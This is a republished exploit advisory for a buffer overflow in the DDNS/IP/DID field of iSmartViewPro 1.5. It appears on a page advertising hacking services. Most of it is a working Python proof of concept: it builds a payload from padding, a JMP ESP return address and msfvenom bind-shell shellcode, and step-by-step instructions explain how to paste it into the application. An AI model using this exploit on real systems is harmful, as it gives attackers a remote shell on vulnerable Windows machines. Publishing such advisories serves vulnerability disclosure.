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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: iSmartViewPro 1.5 - 'DDNS/IP/DID' Buffer Overflow
# Discovery by: Luis Martinez
# Discovery Date: 2018-09-03
# Vendor Homepage: https://securimport.com/
# Software Link: https://securimport.com/university/videovigilancia-ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Vulnerability Type: Buffer Overflow
# Tested on OS: Windows XP Professional SP3 x86 es

# Steps to Produce the Buffer Overflow: 
# 1.- Run python code : iSmartViewPro_1.5.py
# 2.- Open iSmartViewPro_1.5.txt and copy content to clipboard
# 3.- Open iSmartViewPro
# 4.- Add Device
# 5.- Add device manually
# 6.- Device alias -> test
# 7.- Paste ClipBoard on "DDNS/IP/DID"
# 8.- Account -> admin
# 9.- Password -> admin
# 10.- Save

#!/usr/bin/env python
 
#7E6B30D7 FFE4 JMP ESP SHELL32.dll
ret = "\xD7\x30\x6B\x7E"

#msfvenom -p windows/shell_bind_tcp -b '\x00\x0A\x0D' -f c
shellcode = (
"\xbb\x3c\xd8\x80\xcc\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x53\x31\x5a\x12\x03\x5a\x12\x83\xd6\x24\x62\x39\xda\x3d\xe1"
"\xc2\x22\xbe\x86\x4b\xc7\x8f\x86\x28\x8c\xa0\x36\x3a\xc0\x4c"
"\xbc\x6e\xf0\xc7\xb0\xa6\xf7\x60\x7e\x91\x36\x70\xd3\xe1\x59"
"\xf2\x2e\x36\xb9\xcb\xe0\x4b\xb8\x0c\x1c\xa1\xe8\xc5\x6a\x14"
"\x1c\x61\x26\xa5\x97\x39\xa6\xad\x44\x89\xc9\x9c\xdb\x81\x93"
"\x3e\xda\x46\xa8\x76\xc4\x8b\x95\xc1\x7f\x7f\x61\xd0\xa9\xb1"
"\x8a\x7f\x94\x7d\x79\x81\xd1\xba\x62\xf4\x2b\xb9\x1f\x0f\xe8"
"\xc3\xfb\x9a\xea\x64\x8f\x3d\xd6\x95\x5c\xdb\x9d\x9a\x29\xaf"
"\xf9\xbe\xac\x7c\x72\xba\x25\x83\x54\x4a\x7d\xa0\x70\x16\x25"
"\xc9\x21\xf2\x88\xf6\x31\x5d\x74\x53\x3a\x70\x61\xee\x61\x1d"
"\x46\xc3\x99\xdd\xc0\x54\xea\xef\x4f\xcf\x64\x5c\x07\xc9\x73"
"\xa3\x32\xad\xeb\x5a\xbd\xce\x22\x99\xe9\x9e\x5c\x08\x92\x74"
"\x9c\xb5\x47\xe0\x94\x10\x38\x17\x59\xe2\xe8\x97\xf1\x8b\xe2"
"\x17\x2e\xab\x0c\xf2\x47\x44\xf1\xfd\x76\xc9\x7c\x1b\x12\xe1"
"\x28\xb3\x8a\xc3\x0e\x0c\x2d\x3b\x65\x24\xd9\x74\x6f\xf3\xe6"
"\x84\xa5\x53\x70\x0f\xaa\x67\x61\x10\xe7\xcf\xf6\x87\x7d\x9e"
"\xb5\x36\x81\x8b\x2d\xda\x10\x50\xad\x95\x08\xcf\xfa\xf2\xff"
"\x06\x6e\xef\xa6\xb0\x8c\xf2\x3f\xfa\x14\x29\xfc\x05\x95\xbc"
"\xb8\x21\x85\x78\x40\x6e\xf1\xd4\x17\x38\xaf\x92\xc1\x8a\x19"
"\x4d\xbd\x44\xcd\x08\x8d\x56\x8b\x14\xd8\x20\x73\xa4\xb5\x74"
"\x8c\x09\x52\x71\xf5\x77\xc2\x7e\x2c\x3c\xf2\x34\x6c\x15\x9b"
"\x90\xe5\x27\xc6\x22\xd0\x64\xff\xa0\xd0\x14\x04\xb8\x91\x11"
"\x40\x7e\x4a\x68\xd9\xeb\x6c\xdf\xda\x39")

buffer = "\x41" * 383 + ret + "\x90" * 8 + shellcode
f = open ("iSmartViewPro_1.5.txt", "w")
f.write(buffer)
f.close()